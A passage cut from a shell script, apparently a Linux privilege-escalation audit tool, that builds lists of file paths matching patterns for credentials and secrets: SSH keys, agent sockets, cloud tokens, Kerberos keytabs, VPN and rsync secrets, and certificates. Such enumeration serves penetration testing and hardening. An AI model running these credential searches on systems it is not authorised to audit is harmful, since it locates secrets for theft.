"^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "settings\.php$" | sort | uniq | head -n 70) - PSTORAGE_MOODLE=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 'moodle/config.php' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "config\.php$" | sort | uniq | head -n 70) - PSTORAGE_TOMCAT=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70) - PSTORAGE_MONGO=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70) - PSTORAGE_ROCKETCHAT=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/lib|^/applications|^/sbin|^/srv|^/usr|^/opt|^/private|^/systemd|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70) - PSTORAGE_SUPERVISORD=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70) - PSTORAGE_CESI=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "cesi\.conf$" | sort | uniq | head -n 70) - PSTORAGE_RSYNC=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70) - PSTORAGE_HOSTAPD=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "system-connections$" | sort | uniq | head -n 70) - PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "pam\.d$" | sort | uniq | head -n 70) - PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "exports$" | sort | uniq | head -n 70) - PSTORAGE_GLUSTERFS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "glusterfs\.pem$|glusterfs\.ca$|glusterfs\.key$" | sort | uniq | head -n 70) - PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70) - PSTORAGE_RACOON=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70) - PSTORAGE_KUBERNETES=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "kubeconfig$|kubelet-kubeconfig$|psk\.txt$|\.kube.*$|kubelet$|kube-proxy$|kubernetes$" | sort | uniq | head -n 70) - PSTORAGE_VNC=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70) - PSTORAGE_LDAP=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "ldap$" | sort | uniq | head -n 70) - PSTORAGE_LOG4SHELL=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/applications|^/private|^/cdrom|^/etc|^/media|^/snap|^/mnt|^/lib32|^/sbin|^/usr|^/srv|^/opt|^/.cache|^/var|^$GREPHOMESEARCH|^/bin|^/lib|^/lib64|^/tmp" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70) - PSTORAGE_OPENVPN=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70) - PSTORAGE_SSH=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70) - PSTORAGE_CERTSB4=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70) - PSTORAGE_CERTSBIN=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70) - PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70) - PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70) - PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/usr|^$GREPHOMESEARCH" | grep -E "ssh.*config$" | sort | uniq | head -n 70) - PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70) - PSTORAGE_KERBEROS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "krb5\.conf$|.*\.keytab$|\.k5login$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_KIBANA=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70) - PSTORAGE_KNOCKD=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70) - PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "logstash$" | sort | uniq | head -n 70) - PSTORAGE_ELASTICSEARCH=$(echo -e 